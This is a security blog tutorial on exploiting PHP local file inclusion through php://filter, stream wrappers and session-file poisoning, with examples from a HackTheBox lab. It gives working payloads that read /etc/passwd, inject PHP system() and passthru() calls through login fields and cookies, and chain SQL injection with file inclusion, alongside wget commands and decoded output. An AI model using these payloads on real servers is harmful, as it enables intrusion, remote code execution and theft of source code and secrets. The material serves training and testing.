Padlock image

Local File Includes (LFI) is an easy way for an attacker to view files on a server that were not meant to be viewed or retrieved. Through either a mis-configured setting on the server code or bad programming a would-be attacker can potentially view local Operating System files in the current web-page.

We previously covered Exploiting Local File Includes back in our 2018 blog post. But one of our collegues asked the following question.

What about PHP filters?

We had failed to include specfic PHP addons and functionality that can be used to facilitate LFI. So we thought we would address the answer to the question here.

PHP Filters

What are PHP filters?

PHP filters are used primarily for:

  • Validating data = Determine if the data is in proper form.
  • Sanitising data = Remove any illegal character from the data.

The PHP filter extension has many of the functions needed for checking user input, and is designed to make data validation easier and quicker.

Exploiting PHP filters

A simple example is to use the php://filter/convert.base64-encode function to encode the contents of a page’s source-code. E.g:

  • index.php?file=php://filter/convert.base64-encode/resource=config.php

When successful the browser should contain a base64 encoded string that can be easily decoded on the command line or through CyberChef!

Below he have an example from a publically accessible CTF website:

PHP filter example from HacktheBox (HTB) Unattended

In this example, we need to modify the php filter slightly (php://filter/read), as the php source code would attempt to execute the included php-code due to the includes() statement on line 97.

  • php://filter/read=convert.base64-encode/resource=
wget "https://www.nestedflanders.htb/index.php?id=587' UNION SELECT \"about' UNION
SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/6fb17817efb4131ae4ae1acae0f7fd48.php' --+\" --+"



We can then decode this on the commandline using base64 or you could use Cyberchef:

$ echo PD9waHAKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyX25hbWUnXSkpewoJJHVzZXJfbmFtZSA9ICRfU0VTU0lPTlsndXNlcl9uYW1lJ107Cn0KCmZvcmVhY2ggKCRfQ09PS0lFIGFzICRrZXkgPT4gJHZhbCkgewoJJF9TRVNTSU9OWyRrZXldID0gJHZhbDsKfQoKLyogcmVtb3ZlZCBldmVyeXRoaW5nIGJlY2F1c2Ugb2YgdW5kZXJnb2luZyBpbnZlc3RpZ2F0aW9uLCBwbGVhc2UgY2hlY2sgZGV2IGFuZCBzdGFnaW5nICovCg== | base64 -d
if (isset($_SESSION['user_name'])){
	$user_name = $_SESSION['user_name'];

foreach ($_COOKIE as $key => $val) {
	$_SESSION[$key] = $val;

As you can see from the decoded output above, this vulnerability enables us to access the sourcecode of a page and potentially undcover its secrets: whether its additional vulnerabilites or possibly even hardcoded keys.

PHP Wrappers

A stream is a resource object which exhibits streamable behavior. That is, it can be read from or written to in a linear way.

PHP developers use wrappers when their application requests specific resources, such as an image or a document.

Examples of stream wrappers include: http://, ftp://, file://, php://, phar://, zip://.

  • index.pgp?file=expect://command
  • index.php?file=phar://image.phar/shell
  • index.php?file=zip://

PHP Wrapper - Phar & Zip

To better understand stream wrappers, consider these lines:

  • file_get_contents(“”)
  • file_get_contents(“file://../images/image.jpeg”)
  • file_get_contents(“phar://./archives/app.phar”)

Using wrappers, you can call the same function (file_get_contents) to fetch an image either from a remote location or from a folder stored on the local disk.

In particular, the phar:// wrapper is used to interact with PHAR files. It allows various read/write operations to be carried out on an archive and it can only work on local files.

Exploitation often requires file upload functionality to be present in the application. It can be a complicated topic, and is too complex for this short blog post.

If you want to read more about Phar serialisation exploitation we suggest reading this Blackhat presentation from 2018 by Sam Thomas:

PHP Wrapper - Expect

The expect:// wrapper is not enabled by default as it’s an extension from the PECL package (consider it installed for now). The syntax it accepts is:


Consider this small snippet running on the backend:


include $_GET['page'];  

Now we can pretty much run linux (expect valid) commands through this vulnerability. For example, this URL which would return the running user:


If we wanted to use this in the context of an LFI the URL would look similar to:


PHP Session

Another method of exploiting LFI’s within PHP is the PHP Session file. When an application is not vulnerable to the following:

  • php://filter
  • php://zip
  • php://phar
  • php://protocol

but PHPSESSID is present e.g.

Cookie: PHPSESSID=123php

often a cookie is set to the same value on the OS’s filesystem e.g /var/lib/php5sess_123php

When the content of $_SESSION can be forged, it sometimes means that a file with controllable content can be abused to generate a shell. We will cover this shortly…

Using the LFI vulnablity against the SESSION file we often see something like the following serialised data


This is often good for enumeration, and depending on the applications code, there could further exploitation throught de/serialization based attacks.

RCE Using PHP Session Values

From the last example the SESSION file can be used for Remote-Code-Execution (RCE).

If the example was in a login form where username and password parameters are passed. Sometimes we can try the following trick to pollute the SESSION file with the output from a command like so:

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

This would result in an arbitrary value being set in the Set-Cookie directive (and therefore in the session file):

Set-Cookie: user=%3C%3Fphp+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E; expires=Mon, 31-Oct-2021 20:40:53 GMT; path=/; httponly

The session file could then afterwards contain the contents of the included LFI.

WARNING: You would need to remove the cookie from any subsequent requests, otherwise you risk overwritting the SESSION file again with the legitimate cookie!

Another PHP Session example from HacktheBox (HTB) Unattended

Using the Unattended htb box, again we can demonstrate this vulnerability

wget --keep-session-cookies --save-cookies cookies.txt https://www.nestedflanders.htb/index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_b9t3gprjtl35ms4sm937hj7s30%27%3b--+%22%3b--+


<!DOCTYPE html>
 Removed Output
<!-- <div align="center"> -->
<!-- </div> -->

Meaning if we can encode commands into the Cookie header, we should see the output in the page source:

wget --load-cookies cookies.txt https://www.nestedflanders.htb/index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_b9t3gprjtl35ms4sm937hj7s30%27%3b--+%22%3b--+

where the contents of cookies.txt has bene modified:

Cookie: PHPSESSID=cb9t3gprjtl35ms4sm937hj7s30; Our_code=<?php passthru('whoami')?>;

The response should be similar to:

<!DOCTYPE html>
 Removed Output
<!-- <div align="center"> -->
";<!-- </div> -->

This success, means it should be trivial to spawn a reverse shell! We leave this as an exercise to the reader. Or simply read the public HTB walkthroughs that have been published on the internet.

Share on: